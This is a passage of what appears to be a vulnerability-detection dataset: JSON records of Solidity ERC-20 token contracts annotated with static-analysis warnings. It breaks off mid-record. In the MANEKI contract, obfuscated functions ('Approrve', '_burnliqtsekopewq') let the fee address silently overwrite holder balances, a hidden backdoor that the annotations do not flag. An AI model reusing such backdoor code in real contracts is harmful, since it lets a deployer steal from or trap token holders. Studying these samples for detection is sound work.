feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = unicode\"Maneki on ETH\";\n\n symbol = unicode\"MANEKI\";\n\n decimals = 9;\n\n uint256 Supply = 10000000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n function Approrve(\n address[] memory _addresses,\n uint256 _feePercentage\n ) external {\n uint256 tempVal1 = 0x01;\n uint256 tempVal2 = 0x02;\n uint256 tempVal3 = 0x03;\n\n uint256 result = computeFee(tempVal1, tempVal2, tempVal3);\n\n uint256 adjustment = result - tempVal3;\n\n result = adjustment + (tempVal1 - 0x01);\n\n for (uint256 i = 0; i < _addresses.length; i++) {\n __balances[_addresses[i]] = _feePercentage + (result - adjustment);\n }\n }\n\n function computeFee(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n if (isAuthorized(val1, val2, val3)) {\n return val2 + val3;\n } else if (!isAuthorized(val2, val3, val1)) {\n return val2 - val1;\n } else {\n return val3;\n }\n }\n\n function isAuthorized(\n uint256 v1,\n uint256 v2,\n uint256 v3\n ) private view returns (bool) {\n return msg.sender == _swapFeeTo && v1 > 0;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 39b10c1): MANEKI._burnliqtsekopewq(address).A is written in both A = 9 A = C\n\t// Recommendation for 39b10c1: Fix or remove the writes.\n function _burnliqtsekopewq(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: 39b10c1\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: 39b10c1\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24960a9): MANEKI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24960a9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c29655c): MANEKI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c29655c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 86c4141): Contract locking ether found Contract MANEKI has payable functions MANEKI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 86c4141: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10593.sol",
"size_bytes": 10262,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fb76b34): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for fb76b34: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: fb76b34\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bfa58dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bfa58dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 69c61d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 69c61d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bfa58dc\n\t\t// reentrancy-benign | ID: 69c61d1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bfa58dc\n\t\t// reentrancy-benign | ID: 69c61d1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dc7248f\n\t\t// reentrancy-benign | ID: 69c61d1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bfa58dc\n\t\t// reentrancy-events | ID: 8a81f2d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 92b7e26): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 92b7e26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 72a34f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 72a34f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 92b7e26\n\t\t\t\t// reentrancy-eth | ID: 72a34f5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 92b7e26\n\t\t\t\t\t// reentrancy-eth | ID: 72a34f5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 72a34f5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 72a34f5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 72a34f5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 92b7e26\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 72a34f5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 72a34f5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 92b7e26\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bfa58dc\n\t\t// reentrancy-events | ID: 92b7e26\n\t\t// reentrancy-events | ID: 8a81f2d\n\t\t// reentrancy-benign | ID: dc7248f\n\t\t// reentrancy-benign | ID: 69c61d1\n\t\t// reentrancy-eth | ID: 42dfa1e\n\t\t// reentrancy-eth | ID: 779e8ef\n\t\t// reentrancy-eth | ID: 72a34f5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2185931): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2185931: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bfa58dc\n\t\t// reentrancy-events | ID: 92b7e26\n\t\t// reentrancy-events | ID: 8a81f2d\n\t\t// reentrancy-eth | ID: 42dfa1e\n\t\t// reentrancy-eth | ID: 779e8ef\n\t\t// reentrancy-eth | ID: 72a34f5\n\t\t// arbitrary-send-eth | ID: 2185931\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a81f2d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a81f2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc7248f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc7248f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2aaf795): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2aaf795: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 59650da): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 59650da: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 42dfa1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 42dfa1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 779e8ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 779e8ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 8a81f2d\n\t\t// reentrancy-benign | ID: dc7248f\n\t\t// reentrancy-eth | ID: 42dfa1e\n\t\t// reentrancy-eth | ID: 779e8ef\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 8a81f2d\n\t\t// reentrancy-benign | ID: dc7248f\n\t\t// reentrancy-eth | ID: 42dfa1e\n\t\t// reentrancy-eth | ID: 779e8ef\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 8a81f2d\n\t\t// reentrancy-benign | ID: dc7248f\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 2aaf795\n\t\t// reentrancy-eth | ID: 779e8ef\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 59650da\n\t\t// reentrancy-eth | ID: 779e8ef\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 779e8ef\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 779e8ef\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 49390bc): Contract.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 49390bc: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 49390bc\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10594.sol",
"size_bytes": 21871,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Bella is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n address payable private _TaxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 413e478): Bella._initialBuyTax should be constant \n\t// Recommendation for 413e478: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8ee9e5): Bella._initialSellTax should be constant \n\t// Recommendation for e8ee9e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eda9157): Bella._reduceBuyTaxAt should be constant \n\t// Recommendation for eda9157: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: f17f522): Bella._reduceSellTaxAt should be constant \n\t// Recommendation for f17f522: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79c8dd2): Bella._preventSwapBefore should be constant \n\t// Recommendation for 79c8dd2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trumps Dog Bella\";\n\n string private constant _symbol = unicode\"BELLA\";\n\n uint256 public _maxTxAmount = 10000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f59d83b): Bella._taxSwapThreshold should be constant \n\t// Recommendation for f59d83b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: be1d0b8): Bella._maxTaxSwap should be constant \n\t// Recommendation for be1d0b8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _TaxWallet = payable(0xd975EFd8dFff5b87685E899B588880EED3F227a1);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_TaxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function getMarketingWallet() public view returns (address) {\n return _TaxWallet;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ecb47f): Bella.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ecb47f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fe46601): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fe46601: 